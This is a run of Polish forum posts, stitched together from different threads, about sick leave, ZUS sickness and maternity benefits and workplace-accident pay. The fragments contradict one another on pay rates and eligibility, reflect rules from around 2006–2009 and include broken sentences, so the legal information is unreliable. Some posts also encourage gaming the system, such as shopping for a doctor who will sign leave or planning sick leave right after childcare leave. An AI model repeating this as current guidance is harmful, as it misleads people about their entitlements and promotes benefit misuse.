> Nie, ja nie sądzę, ja wiem, że od dnia porodu przysługuje jej
> zasiłek macierzyński przez 20 tygodni (jesli urodzi jedno dziecko),
> który wypłaci ZUS i do tego żadne zwolnienie lekarskie nie jest
> potrzebne. A umowa o pracę rozwiąże się w dniu porodu.

Nie myl zasilku macierzynskiego ze zwolnieneim lekarskim
Podpowiedzcie - płatne badania a NFZ
Moja siostra urodziła miesiąc temu córeczkę. Ponieważ w ciąży siostra zaraziła
się toksoplazmozą mała jest objęta dodatkową opieką lekarską. Siostra była na
pierwszej wizycie u specjalisty, gdzie pobrano małej krew do kilku badań, za
które kazano siostrze zapłacić, bo pieniądze na badania z NFZ-u się skończyły.
To kwota ok 300 zł. Ma za nie zapłacić przy odbiorze.

No wk@%*&*% łam się nieziemsko!! Dla mojej siostry jest normalne, że sie płaci
ale dla mnie nie! Nosz kr$&^%a płaci ZUS cały czas, teraz jest na zasiłku
macierzyńskim od 19 listopada (mała urodziła się 19 11 siostra w sobotę 17.11
była ostatni dzień w pracy), kasę zasiłkową zobaczy pewnie w przyszłym roku.
Nie chodzi o to, ze nie ma tragicznie pieniędzy, ale w końcu płaci swoje
ubezpieczenie!! A najbardziej mnie wkurza, że ona prawie nie korzysta z porad
lekarskich, nie leczy się, nie chodzi na zwolnienia, itp. A jak już korzysta
to ma dodatkowo za to becalować.
Co można zrobić? Czy jeśli uzależnią wydanie wyników od wpłaty to coś mi się
po głowie kołacze, że ma wziąć rachunek za te badania i żądać zrotu wydanej
kasy od NFZ-tu?
Dodam, że badania robione w państwowym szpitalu i skierowanie wydał państwowy
lekarz.

Co robić? Co robić? Jak mnie ta polska rzeczywistość wpienia to nie do
opisania!!!!!!!
Podpowiedzcie coś pliz!
Zgodnie z prawem taka opiekunka musialaby miec umowe o prace , urlopy,
zwolnienia lekarskie platne przez rodzicow dziecka, sale jadalna, szatnie itp
wymagane przez kodeks pracy, kontrole przez panstwoa inspekcje pracy, jabky
opiekunka zaszla w ciaze to przez 3 miesiace utrzymuja ja rodzice dziecka ,
poznieju maja obowiazek przyjac ja do pracy i w razie jak dziecko opiekunki
zachoruje finansowac jej zwolnienia lekarskie.
dodatkowo dochodzi placenie podatku ZUS = zarobkom opiekunki.

I sprawa prosta.
PIT
doral2 napisała:
czyli zwolnienie lekarskie z tytułu
> opieki nad dzieckiem....
> czy nie płaci za to zwolnienie pracodawca, do 30 dni??

nie, ZLA z tyt. opieki jest płatne ze środków ZUS, pracodawca (jeżeli zatrudnia więcej niż 20 osób)jedynie jest pośrednikiem w jego wypłacie

pracodawca wypłaca wynagrodzenie chorobowe zatrudnionemu (choremu) pracownikowi, do 33 dni w roku
Cisnienie mi skoczyło.
Mój mąż pod koniec marca poszedł na zwolnienie lekarskie.Miał w pracy wypadek
(odciął sobie palca).Zwolnienie ma do końca lipca , 100% płatne.I dzisiaj na
konto wpłynęły pieniądze od ubezpieczyciela.I teraz pytanie: czy to wypłata za
ten miesiac ? Bo jeśli tak,to wpłynęło tylko 1/3 kwoty, którą dostawał każdego
miesiąca.Jutro mąż idzie pytać co to za kasa i kiedy reszta.U męża w pracy w
tej chwili wszyscy sa na urlopie wypoczynkowym (ten urlop jest bezpłatny),w
tym miesiacu przepracowane maja tylko 8 dni, reszta to urlop.I wyglada to tak,
jakby Nav (norweski zus) zaplacil tylko za te 8 dni .Ciekawe co mu jutro
powiedzą,bo on nie jest teraz na urlopie,tylko na zwolnieniu lekarskim.
zwolnienie lekarskie wypadkowe wypłacane jest ze środków ZUS -
wiec potrąca się z niego jedynie podatek. Aby wypłacić 100% za
wypadek, musi byc on uznany, czyli wszelkie protokoły musza być
sporządzone itp.
Jeśli zakład pracy zatrudnia mniej niż 20 osób, wszystkie dokumenty
lądują w Zusie i ZUS wypłaca owy zasiłek chorobowy 100%. Jeśli
zakład pracy zatrudnia powyżej 20 osób to pracodawca wypłaca ten
zasiłek. Ale dokumentacja musi być !

Podstawą naliczenia chorobowego to srednia z 12 m-cy pomniejszona o
składki ZUS. Do podstawy wchodzą ( stawka godzinowa + nocki +
nadgodziny + średnia urlopowa + premia(jeśli jest pomniejszana za
czas nieobecności)

Jeśli mąż ma uznany wypadek, ma zwolnienie lekarskie ZUS ZLA
obejmujące weekendy to tak ma mieć zapłacone. Zwolnienie lekarskie
JEST płatne za każdy dzień kalendarzowy ! nie tylko za dni robocze!
budyniowatowe napisała:

> Za granica, zwolnienie na grype jest tak samo platne jak i
ciazowe.
> To znaczy albo wcale, albo jakias niewielka czesc Twoich zarobkow.

No i wlasnie tego kolezanki nie potrafia zrozumiec...ze za granica
nie ma zwolnienia na ciaze i nie ma czegos takiego jak jednostka
chorobowa zwana ciaza.

Kolezance Madtea proponuje przestudiowanie statystyk ZUSu
(www.zus.pl) dotyczacych zwolnien lekarskich w ciazy i sprawdzenie
sobie jaki % te zwolnienia zajmuja w calosci, ilosc ogolem i
przeliczyc to sobie na ilosc np urodzonych dzieci...oraz
raportu "Orzecznictwo lekarskie o niezdolności do pracy" za 2006.
Moze mnie oswieci dlaczego na skutek chorób okresu ciąży, porodu i
połogu wystąpił wzrost liczby orzeczeń uprawniających do świadczenia
rehabilitacyjnego o 156,2% w stosunku do roku 2005 bo liczba urodzen
chyba nie wzrosla az tak drastycznie.
Ale coz moze ja sie na statystykach nie znam tak doskonale jak
kolezanka z jezykami :B
Po pierwsze, na zwolnieniu możesz być całą ciążę i jest to 100 %
płatne od momentu kiedy otrzymasz zwolnienie lekarskie z zusowskim
kodem "B" oznaczającym ciążę.
180 dni to okres zasiłkowy, po którego zakończeniu idziesz na
zasiłek rehbilitacyjny - w ciąży także płatny za każdy dzień 100 %.
To najbardziej ogólnie, bo szczegółowo, to temat - rzeka.
Z drugiej strony rozumiem, ze jeszcze nie jesteś w ciąży, a już
planujesz zwolnienie lekarskie oraz myślisz, że nie będziesz caly
czas siedzieć w domu.
Może zwolnij z tymi planami, bo nie wiesz jak się będziesz czuła,
życzę jak najlepiej, ale bywa - i są tutaj na forum Kobiety, które
musiały leżeć przez całą ciążę. I co sobie mogly zaplanować?
Zaś co do kontroli zwolnien lekarskich przez Zus to owszem
zdazają się. Wprawdzie w ciaży nie tak często, ale zawsze. Zależy
jeszcze co masz wpisane na zwolnieniu lekarskim: Może chodzic, czy
musi lezeć, bo jak to drugie, to lepiej sobie nie kpić, ani z siebie
ani z Zusu.
Pozdrawiam i życzę wszystkiego dobrego!
Chorujac w ciąży czy też nie w ciąży można mieć max 182 dni
zwolnienia lekarskiego, bo tyle max można wogóle chorować na
normalnym L4, potem trzeba wystąpić z wnioskiem do ZUS o świadczenie
rehabilitacyjne, nadal mamy płatne 100% tylko inaczej to się nazywa.
Trochę mnie zniesmaczyły zmiany w urlopach macierzyńskich bo takie
jak ja czyli rodzące kolejne dziecko nie zyskują w przyszłym roku
nic:
"Pracownicy, która urodzi jedno dziecko, będzie od stycznia 2009 r.
przysługiwać 20 tygodni urlopu macierzyńskiego. Jeśli w trakcie
jednego porodu urodzi więcej dzieci, otrzyma 31 tygodni urlopu. Po
wykorzystaniu pierwszych 14 tygodni, pozostałą część urlopu - tak
jak obecnie - będzie mógł wykorzystać ojciec dziecka."

Podoba mi się natomiast zmiana która ma nastąpić i szkoda że nas nie
obejmie:

"rdzice będą mieli prawo do sześciu lub ośmiu tygodni dodatkowego
urlopu macierzyńskiego po wykorzystaniu obligatoryjnego wolnego z
tytułu narodzin dziecka. ząd chce jednak, aby po zakończeniu
obligatoryjnego wolnego jedno z rodziców miało docelowo prawo do
dodatkowego urlopu macierzyńskiego w wymiarze sześciu lub ośmiu
tygodni (w zależności od liczby potomstwa, które przyszło na świat).
Tak wynika z ostatniej wersji projektu nowelizacji kodeksu pracy i
niektórych innych ustaw przygotowanego przez resort pracy (tzw.
ustawa prorodzinna)."
admika2 napisała:

> Witam.
> Nie wiem czy jestem na dobrym forum ale zaryzykuję.
> Czy po operacji członka rodziny można mieć jakąś formę opieki cy zwolnienie.
> Mąż w zeszłym tygodniu miał operację rekonstrukcji kolana, po tygodniu
> wychodzi do domu. Czy żona może na podstawie jego wypisu dostać zwolnienie na
> opiekę. Mąż nie może chodzić.

Tak.

Płatne zwolnienie z tytułu opieki nad innym chorym członkiem rodziny jest limitowane czasowo. Przysługuje przez okres 14 dni w roku. Łącznie zwolnienie z powodu opieki nad dziećmi i innymi członkami rodziny z różnych przyczyn nie może przekroczyć 60 dni w roku kalendarzowym.

Podstawą wypłaty zasiłku opiekuńczego jest zaświadczenie lekarskie wydane na formularzu ZUS ZLA przez lekarza, stwierdzające konieczność opieki nad chorym dzieckiem lub innym członkiem rodziny. Pracownik występujący o wypłatę zasiłku składa również wniosek o uzyskanie tego zasiłku na druku ZUS Z-15. Składa w nim oświadczenie o braku innych osób mogących sprawować opiekę nad chorym oraz o pozostawaniu z nim we wspólnym gospodarstwie domowym w czasie sprawowania opieki.

Źródło: Gazeta Prawna Nr 110/2006 z dnia 2006-06-07

www.infor.pl/ubezpieczenia/aktualnosci/32401,Kiedy-pracownik-ma-prawo-do-sprawowania-platnej-opieki.html

S.
pytanie o L-4
Jest taki o to przykład:
pracownik XX jest na zwolnieniu lekarskim L-4 26 dni. Dnia 27 idzie oddać
honorowo krew i ma zwolnienie z pracy za ten dzień płatne 100%. Dnia 28 idzie
do lekarza i znowu ma L-4. Jak wiadomo pracodawca płaci chorobowe za
pracownika do miesiąca, a później płaci ZUS.
Jak jest naliczane w tym przypadku? Czy odnowa biegnie miesiąc dla pracodawcy,
czy mimo tego że zwolnienie nie ma ciągłości przechodzi to świadczenie na ZUS?

Pozdrawiam
Jeżeli nie uzyskasz zgody na porozumienie stron, wówczas złożysz wypowiedzenie.
Złożenie wypowiedzenia będzie skuteczne i umowa rozwiąże się z upływem
dwutygodniowego okresu wypowiedzenia licząc od 26 marca do 7 kwietnia.
Nic nie stoi na przeszkodzie abyś w okresie wypowiedzenia przebywał na
zwolnieniu lekarskim. Umowa tak czy inaczej rozwiąże się z ostatnim dniem
wypowiedzenia, czyli 7 kwietnia. Jezeli bedziesz przdłużał zwolnienie lekarskie
po ustaniu stosunku pracy, płatnośc zwolnienia lekarskiego przejmie ZUS.
Przy założeniu, że nie legitymujesz sie wystarczajacym okresem zasiłkowym, to
nie. Aby mie prawo do wynagrodzenie chorobowego, najwczesniej na zwolnienie
lekarskie powinnas sie udac od 1.04
Jeżeli Twoj pracodawca wypłaci Ci wynagrodzenie chorobowe, wypłaci także
zasiłek. ZUS przejmie płatnośc dopiero po ustaniu stosunku pracy.
Bez względu na to, czy bedziesz świadczyc pracę czy bedziesz przebywac na
zwolnieniu lekarskim, Twoja umowa o pracę zakończy sie z dniem 31.05 br.
Chyba, że jesteś w ciązy i w dniu rozwiązania umowy, tj. 31.05 będziesz w
trzecim miesiacy ciązy, umowa z mocy prawa ulegnie przedłużeniu do dnia porodu.
witaj, nie pomogę Ci za wiele - ale miałam podobną sytuację - też uraz
kręgosłupa w pracy. Sporządzono protokół wypadkowy, byłam na zwolnieniu
lekarskim - pamiętaj, że chorobowe w przypadku stwierdzonego wypadku przy pracy
jest płatne 100% średniej z ostatnich 3 miesięcy (wraz z ew. premiami, bo od
nich też odprowadzane są składki). Najlepiej chyba skontaktuj się z Państwową
Inspekcją Pracy lub ZUS-em.
Też leczyłam się prywatnie, na 'państwową' tomografię, czy rezonans czeka się
ok. miesiąca albo i dłużej, tak samo wizyty u lekarzy - wyznaczane terminy są
tak odległe, że nie ma wyjścia - trzeba prywatnie, bo czas przecież nagli. Może
inne dziewczyny będą bardziej pomocne. Pozdrawiam i życzę zdrowia
Masz w pracy kadrową? To idź do niej lub zadzwoń jesli nie możesz
chodzić. Ona musi spisac protokół, a potem kartę wypadku do GUS-u, a
TY musisz dostarczyć oświadczenie poszkodowanego, w którym dokładnie
opisujesz zdarzenie, okreslasz godzinę, przyczynę wypadku itd oraz
oświadczenie świadków jesli takowych miałaś. Potrzebne Ci będzie
zaświadczenie lekarskie o udzieleniu pierwszej pomocy oraz o
konieczności dalszego leczenia czy tez rehabilitacji. Protokół
zakład pracy musi SPORZĄDZIĆ w ciągu 14 dni, jesli tego nie zrobi
musi się w tym protokole wytłumaczyć dlaczego nie dotrzymał terminu,
natomiast do ZUS-u składasz wszystkie dokumenty w celu wyznaczenia
Ci komisji lekarskiej dopiero PO zakończeniu leczenia. Czyli
niestety najpierw leczysz się za swoje, po zakończeniu leczenia
lekarz wystawia Ci zaświadczenie, ze leczenie zakończone. NO i
oczywiście zwolnienie 100% płatne.
Nie ma czegos takiego jak zwolnienie ciazowe. To zwolnienie rozni
sie tym od innych, ze jest platne w 100% , a nie w 80 % jak inne
zwolnienia.

Kazdy pracownik moze przebywac na zwolnieniu do 182 dni i potem
musi wystapic o swiadczenia reahbilitacyjne, na ktore ZUS wcale nie
musi sie zgodzic, tylko np. wydac orzeczenie o trwalej niezdolnosci
do pracy.
Sytuja kobiet w ciazy jest korzystna, poniewaz ZUS w zasadzie
zawsze akceptuje wnioski o swiadczenia rehabilitacyjne i nawet nie
wzywa wnioskodawczyn na komisje lekarska. Oczywiscie sa wyjatki,
jezeli istnieje podejrzenie , ze kobiete zatrudniono w ciazy celem
wyludzenia swiadczen z ZUS.
A co ma do tego opieka społeczna? Póki kobieta nie jest pod ich
opieką, tj. nie pobiera zasiłku, to dlaczego mieli by się nia
interesować.
Przypuszczalnie kobieta siedzi na zwolnieniu lekarskim, być może
płatności są realizowane automatycznie, nie śmierdzi na tyle, żeby
przeszkadzało to sąsiadom, pewnie hucznych imprez też nie urządza
itp. Tym sposobem, może tak wegetować dopóki ZUS jej nie uleczy.
Wtedy zacznie się prawdziwy problem.
urlop macierzyński przysługuje osobie która pracuje i płaci składki ZUS
ty nie pracujesz więc nie masz prawa do urlopu
Jeśli nie będziesz zdolna do opieki nad dzieckiem to twój mąż może skorzystać ze zwolnienia lekarskiego na opiekę nad chorą żoną (płatne 80%)
co do przewrania nauki to może trzeba było zastanowić się nad konsekwencjami poczęcia dziecka przed skończeniem szkoły??
nie podejmuj zbyt pochopnie decyzji o rezygnacji z nauki, może się okazać że świetnie sobie poradzisz i pogodzisz wszystkie obowiązki
przez kilka pierwszych miesięcy dziecko nie musi być bardzo absorbujące (moje nie było), zresztą hormony dodają wtedy dużo energii, spróbuj już teraz poszukać pomocy wśród rodziny i przyjaciół
. Re: L4 z powodu ciąży bezpośrednio po wychowawczy
agnrek 04.03.07, 20:40

Nie bardzo wiem, czy dobrze zrozumiałam, więc opiszę dwie sytuacje.
1. Jesteś na wychowawczym i zachodzisz w ciążę - nie dostajesz płatnego
zwolnienia lekarskiego, ale będziesz miała płacony macierzyński po porodzie.
Rozwiązanie- przerwać wychowawczy i wrócić do pracy na krótko, po czym wziąć
zwolnienie i wtedy będzie płatne. Zasiłek chorobowy zawsze fizycznie wylicza i
wypłaca pracodawca, a nie ZUS. Po prostu pracodawca Ci płaci, ale z kolei
potrąca to sobie ze składek należnych ZUSowi.
2. Wracasz do pracy po zakończonym wychowawczym i zachodzisz w ciążę - do
chorobowego bierze się dochody z ostatnich 12 m-cy (nie trzech!) poczynając od
miesiąca, w którym masz L4. Jaka będzie wysokość podstawy zasiłku? Tyle, ile
masz zapisane w umowie o pracę.
Przeczytaj punkt 131 komentarza do ustawy na stronie 30:
www.zus.pl/files/komentarz_chorobowy.pdf

• Re: L4 z powodu ciąży bezpośrednio po wychowawczy IP: 213.172.177.(792)
mamawrock 04.03.07, 21:18 + odpowiedz

Przykładowo: do dnia 31 kwietnia jestem na wychowawczym i od 1 go maja
przedstawiam w zakładzie pracy druk L4 i zaswiadczenie, ze jestem w ciazy.
Urlop wychowawczy bezplatny trwal 3 lata. Rozumiem, ze otrzymam co miesiac 100%
wynagrodzenia, tak?
Dziekuje serdecznie za informacje oraz link.

• Re: L4 z powodu ciąży bezpośrednio po wychowawczy
agunek1 05.03.07, 07:03

Wejdź sobie na forum prawo i pieniądze. Tam był temat poruszany.
Nie martw się. Jeżeli nie dostaniesz od jednego lekarza to idź do drugiego. Ja
jestem od samego początku na zwolnieniu. Nie dostaniesz od razu na 3 m-ce tylko
po 3-4 tygodnie. Na urlop nie opłaca ci się iść bo zwolnienie masz i tak płatne
100% a urlop zostaw sobie po macierzyńskim. Z reguły lekarze boją się brać za
ciebie odpowiedzialność gdyby coś się stało. I nie czytaj tych babsztyli co to
twierdzą, że oszukujesz, naciągasz zus itp. Same pewnie nie mają dzieci, albo
rodziły je dawno albo może są w wieku przedemerytalnym. Jak sama o siebie nie
zadbasz to nikt tego nie zrobi. Ja przez 16 lat pracy byłam na zwolnieniu
lekarskim tylko jak miałam chore dziecko i przez 16 lat wpływały składki do zus-
więc teraz mi się coś należy.

Uszy do góry i działaj. Powdzenia
ja jestem na zwolnieniu od początku, kiedy tylko dowiedziałam się o
ciąży. Powiedziałam, że chcę zwolnienie, bo pracę mam stresującą i
dostałam. W prywatnym gabinecie oczywiście. Choć potem w przychodni
też mi nie robili problemów. 182 dni liczy się od momentu pójścia na
zwolnienie (pierwszy dzień zwolnienia). Na 6 tyg przed końcem tych
182 dni musiasz złożyć w ZUS wniosek o świadczenie rehabilitacyjne.
Wypełnia je lekarz, zakład praqcy i Ty (formularze w ZUS lub na ich
stronie internetowej). Lekarz musi wpisać przewidywany termin porodu
i napisac, że nie kwalifikujesz się na komisję lekarską, dzięki temu
nie będą Cię nigdzie wzywać. Wtedy ZUS przysyła decyzję i dają
świadczenie do przewidywanego dnia porodu (no prawie - mi dali do
5.08 a termin mam na 10.08). Zwolnienie i śwaidczenie płatne jest
100% (laekarz musi na zwolnieniu napisać, że to ciążowe, czyli chyba
literkę "B")
wanda43 napisała:

> Był artykuł w rzepie, niestety przeniesli do archiwum. Ale sprobuje cos znalezc
> .
Ja pamiętam jk z komuny nas różnicowali, bo też prowadziłem działalność.
Zwolnienie lekarskie dla zatrudnionego na umowę płatne od pierwszego dnia.
Dla prowadzącego działalność płatne od 31 go dnia.
Renta III grupy . Zatrudniony płatna.
Prowadzący działalność dostawał papierek (orzeczenie o inwalictwie IIIgrupy) i
mógł sobie na gwożdziu w kiblu powiesić do podtarcia d..y.
Nawet nie był zwolniony ze składki ZUS.

Myślałem , ze to se ne wrati, a tu TAKI NUMER!
Nawet nie ny
Po macierzyńskim wykorzystałam 2 dni opieki na dziecko (przysługują 2 dni
rocznie i niewykorzystane nie przechodzą na następny rok, oczywiście są płatne,
ale nie wiem, czy 80% czy 100%) i wypisałam wniosek o urlop wypoczynkowy, po 4
dniach urlopu wylądowałam na zwolnieniu (na mnie, nie na dziecko), które w sumie
trwało 3 miesiące, potem wykorzystałam znów opiekę (w czasie mojego zwolnienia
rozpoczął się kolejny rok i znów mi przysługiwały 2 dni) i urlop za 2007 rok,
teraz jestem na urlopie za 2008 rok, a potem idę na wychowawczy.

Możesz iść na zwolnienie, nie ma żadnego prawa, które zabraniałoby po
macierzyńskim iść na zwolnienie. Warunek jest taki, że ani ZUS, ani pracodawca
nie będzie miał powodu, żeby je sprawdzać, a nawet jeśli sprawdzi, będzie ono
zasadne.

A co do sprawy oszustwa - każde zwolnienie lekarskie, kiedy nie ma ku niemu
podstaw jest oszustwem. Również siedzenie całą ciążę na zwolnieniu, kiedy
przebiega ona prawidłowo, a praca nie stanowi dla niej zagrożenia. Ja pracowałam
do końca ósmego miesiąca, z tym, że nie pracowałam w godzinach nocnych (prawo
tego zabrania). Potem poszłam na zwolnienie z powodu obrzęków (nie byłam w
stanie wysiedzieć za biurkiem) i na prośbę pracodawcy (chciała już kogoś
zatrudnić na zastępstwo i mieć czas na przeszkolenie tej osoby, zanim urodzę).
Myśle,że mogłabyś pójść na zwolnienie lekarskie,które jest płatne 100%.Pierwsze
33(?)dni płaci Ci pracodawca a później ZUS.W końcu żyć jakoś musisz-witaminki
np.też trzeba kupować-urlop bezpłatny Ci tego nie zapewni.A i wyprawka do
najtańszych nie należy.
Pozdrawiam
ja bylam w podobnej sytuacji, tyle tylko ze u nas w firmie jest lekki zastoj z
praca dlatego wysylali nas na urlopy a ja poszlam do szefa i powiedzilam ze
urlop chce zostawic sobie po macierzyńskim i jak mam isc teraz na urlop to
wezme zwolnienie lekarski czyli L4. i tak L4 ma sie platne w 100% jak masz
wpisany kod B- oczywiscie, wiec z kasa nie jestes stratna!!!a w moim wypadku za
to L4 placi juz ZUS, bo wczesniej mialam L4 po szpitalu wiec 30 dni, za ktore
placi pracodawca minely!zgodzil sie tak wiec od 9 czerwca leniuchuje az do 2
lipca a potem jak bedzie ok to wracam do pracy, termin porodu mam na 27
pazdziernika, wiec zycze powodzenia!!!!!!
Żadne zwolnienie lekarskie podczas urlopu wychowawczego nie jest płatne -
dotyczy to również zwolnień ciążowych.

Urlop wychowawczy można oczywiście przerwać - trzeba poinformować pisemnie
pracodawcę o tym zamiarze z 30 dniowym wyprzedzeniem. Pracodawca nie może się
nie zgodzić na powrót do pracy. Ważne, aby przynajmniej w dniu składania pisma
do pracodawcy być formalnie zdrową i zdolną do pracy (żeby ZUS się nie czepiał).
W ciąży oczywiście można być - to nie jest stan z definicji uniemożliwiający
pracę Jeśli w międzyczasie stan zdrowia się pogorszy, to nic nie stoi na
przeszkodzie aby już pierwszego planowanego dnia powrotu do pracy zamiast stawić
się na stanowisku pracy, przedstawić pracodawcy zwolnienie lekarskie.

(dodam jeszcze nawiasem że warto byłoby jednak nieformalnie uprzedzić szefa, że
z tym powrotem do pracy to różnie może być bo się jest w ciąży. Jak napisałam
powyżej, szef i tak nie może ani się nie zgodzić na powrót, ani zwolnić, a być
może poczyni jakieś kroki aby przygotować nam stanowisko pracy - np. zwolni
naszą zastępczynię . Więc zwykła przyzwoitość podpowiada, aby go przygotować
na to że ten nasz powrót problematyczny.)
anneczka78 napisała:

> Jestem w tym tygodniu na zwolnieniu lekarskim wystawionym przez internistę,
> powodem jest przeziębienie. Lekarz uprzedził mnie, że jeśli to on wystawi
> zwolnienie, a nie ginekolog, to dostanę tylko 80%.
>
> Czy wiecie może dlaczego tak jest? Z tego, co wiem, kodeks pracy gwarantuje
> 100% wynagrodzenia ciężarnym bez względu na to, jaki lekarz wystawił
> zwolnienie.
>

Na zwolnieniu musisz mieć literkę "B" - to zwolnienie ciążowe. Lekarz ogólny
nie może Ci wystawić zwolnienia z powodu ciąży, tylko z powodu np. anginy czy
przeziębienia itp.
Ciążowe zwolnienie jest płatne 100%, inne 80%. Do 33 dni zwolnienia płaci
zakład pracy, powyżej 33 dni - ZUS, do którego musisz dostarczyć zaświadczenie
o tym, że jesteś w ciąży - wystawia się je po 12 tc. Na tej podstawie ZUS
wypłaca 100% za L4.
Dziś to wszystko załatwiałam, bo od lutego przeszlam na zasiłek chorobowy z
ZUSu.
Jesli jesteś zatrudniona i się rozchorowałaś, to zwolnienie lekarskie
przysługuje ci zawsze :-)(w sensie usprawiedliwienia nieobecności w pracy).

Natomast aby to zwolnienie było PŁATNE, od momentu zatrudnienia (czy ściślej -
od momentu zgłoszenia do ubezpieczenia) musi upłynać tzw. okres wyczekiwania -
dla umów o prace wynosi on 30 dni ciągłości ubezpieczenia.

W Twoim konkretnym przypadku - jak przypuszczam - od momentu zatrudnienia
upłyneło znacznie więcej niz 30 dni (okres przebywania na urlopie wychowawczym
nie przerywa ciągłości ubezpieczenia) - możesz więc spokojnie w każdej chwili
udać sie na PŁATNE zwolnienie lekarskie.
Podstawą zasiłku chorobowego bedą prawdopodobnie twoje zarobki sprzed urlopu
wychowawczego - to zalezy od tego, ile czasu upłynie od momentu powrotu do pracy
do momentu zachorowania

po szczegóły zapraszam na strony ZUS:
www.zus.pl/swiadcze/zas008.htm

pozdrawiam
l.
Pozwalam sobie wtrącić swoje trzy grosze do wątku o nieuczciwości pacejntów:
1. osobiście zanam przykłady "wstawiania starszych" członków rodziny do
szpitala - sezon ten rozpoczyna się na Święta i w wakacje
2. Leczenie kaca przez prominentów na oddziałach szpitalnych- leczenie to
opłacali za pomocą tzw.cegiełek, lub też dokonywali oni zakupu np. pulsoxymetru
3. Znam przykłady wręczania łapówek przez pacjentów- tak na wszelki wypadek -a
w przypadku odmowy lekarza, komentarz: on jest tłuk , widocznie się nie zna :)
Znam też przypadek, gdzie Pan Prof. zażyczył sobie łapówki, a pacjent napisał
pismo do dyrekcji szpitala z prośbą: o rozłożenie płatności na raty. :)))))
4. Jestem osobiście na zwolnieniu lekarskim - ponieważ sytuacja w pracy mnie do
tego zmusiła(właściwie moje kierownictwo)- nie będę podawać przyczyn z
wiadomych względów. Proszę mi wierzyć, że wolę siedzieć w pracy - ale nie mogę
:(((!! Mam dość i niemogę tam wytrzymać :( - fachowo zjawisko to nazywa się
mobingiem
5. Mam w ręku wezwanie do ZUS'u - już kombinuję jak z tego wyjść cało- tzn. nie
wrócić do pracy!! Nieukrywam że to źle wpływa na moje morale - ale sądzę,że
gdybyście Państwo znali moja sytuację , mielibyscie podobne problemy moralne :(
Pozdrawiam:
były pracownik służby zdrowia
Do NFZ idzie tylko część składki na ZUS
Oczywiście, że paranoja.

Sprostuję tylko jedno:

szyma13 napisała:

> Czy ktoś mi powie po jaką cholerę płacę miesiąc w miesiąc prawie 800,00 zł.
> ZUS-u

M.in. na swoją emetyrurę, wszelkiego rodzaju renty (oby nigdy nie były ci
potrzebne), płatne zwolnienia lekarskie, płatny macierzyński. Na NFZ idzie z
tego tylko część.
Ja to nawet sprawdziłam w ZUS-ie/oczywiście nie informowałam o moim chytrym planie/. PO powrocie z urlopu wychowawczego już drugiego dnia możesz iść na zwolnienie lekarskie. Pracodawca płaci / 1-wszy miesiąc zawsze płaci pracodawca / tyle na ile widnieje umowa,albo średnia pensję przypadająca na Twoje stanowisko. Płatne jest 100%, bo jest ciąża i to niezależnie czy idziesz na zwolnienie z powodu ciąży czy przeziębienia; dla wysokości świadczenia liczy się to że jesteś w ciąży. Powiem szczerze, że orientowałam sie w tej sprawie bo sama mam taki niecny plan, a co. W końcu tyle lat opłacam składki, a w czasie ciąży nawet badania musiałam robić odpłatnie, bo nie wszystko było refundowane. I jeszcze gwoli informacji- urlop wychowawczy można przedłużyc jeszcze o dwa lata, ze względu na stan zdrowia dziecka wymagającego stałej opieki matki lekarz wystawia zaświadczenie i dalej z podankiem do pracodawcy, który nie może odmówić. Tak na zakończenie pozostaje jedynie kwestia powrotu do pracy,a z tym w dzisiejszych czasach coraz trudniej. Dlatego jak pojawiaja sie problemy , należy wykorzystywać swoje prawa, a co! W czasie uropu wychowawczego składki ZUS-owskie opłaca za nas "niejako" państwo, także świadczenia są nadal zapewnione, a i okres urlopu wychowawczego liczy sie do stażu pracy przy wyliczaniu lat wypracowanych do emerytury. Pozdrawiam misia
Z umową na czas określony jest tak, że pracodawca ma obowiązek przedłużyć umowę jeśli umowa zawarta jest na okres dl€ższy niż jeden miesiąc i powyżej trzeciego miesiąca ciąży. Jeżeli umowa kończy się przed upływem trzeciego miesiąca ciąży radzę iść na zwolnienie lekarskie i wówczas ZUS wypłaca zasiłek chorobowy do czasu porodu (jest to 100% wynagrodzenia). Jeśli ciąża jest już powyżej 3-go m-ca i umowa zawarta jest na dlużej niż 1 m-c, wówczas zostaje automatycznie przedłużona do czasu porodu. Co to oznacza? Przede wszystkim trzeba dostarczyć pracodawcy zaświadczenie od lekarza, że jesteś w ciąży i który to miesiąc. Data porodu jest orientacyjna. Ja miałam płatne do końca ostatniego zwolnienia lekarskiego. Jak są załatwiane sprawy papierkowe, to zależy od firmy. W moim przypadku (jest to mała firma) musiałam dostarczać wszelkie zwolnienia do ZUS-u. W większych firmach (chyba pow. 5 czy 10 osób) takie sprawy załatwia kadrowa. Ty musisz tylko dostarczyć zwolnienie lekarskie. No chyba, że chcesz pracować do końca.
pensja na zwolnieniu lekarskim pow. 30 dni.. kto płaci de facto???
no własnie... minęło 30 dni zwolnienia lekarskiego które było płatne przez pracodawcę i jestem na nowym zwolnieniu już płaconym przez ZUS - ale czy jest tak że przelewa na konto nadal pracodawca a potem rozlicza się z ZUS-em? czy od razu płaci ZUS - a jeśli tak to może ja coś powinnam w tym kierunku zrobić- skąd ZUS ma mieć mój nr konta na przykład? no i obawiam się że jeśli to ZUS płaci to mogą być straaaaaszne opóźnienia..... dodam że jestem na zwolnieniu lekarskim ciążowym dzięki z góry za odpowiedzi
Ależ ja nie generalizuję. Podaję przykład głupoty jednego konkretnego
urzędnika, choć z przykrością muszę stwierdzić, że w ZUS-ie jest wiele osób
niekompetentnych. Taka już jest swoistość tej instytucji. Natomiast w całej
rozciągłości popieram dzialania ZUS-u mające na celu zlikwidowanie zjawiska
(akceptowanego społecznie) WYŁUDZANIA zasiłków. Bezczelność i cwaniactwo
niektórych ubezpieczonych przekracza wszelkie granice. Dla przykładu: pani
zatrudniła się w ciąży z wynagrodzeniem 3400zł, przepracowała 38 dni (a więc
ZUS dostał tylko JEDNĄ składkę!) i poszła na zwolnienie lekarskie ciążowe,
płatne jak wiadomo 100% podstawy wymiaru. Na tym zwolnieniu przebywała do
porodu, potem udała się na zasłużony macierzyński, znowu kosztowało to ZUS 100%
podstawy wymiaru. Po zakończeniu macierzyńskiego pani raczyła wrócić do pracy i
pierwszego dnia po powrocie spisała z pracodawcą porozumienie zmieniające
warunki umowy o pracę w zakresie wynagrodzenia. Z 3400zł zrobiło się za jej
zgodą 800zł. ZUS dostał składkę od tej kwoty. Prawda jakie to "operatywne"?

Pozdrawiam.
Paulina
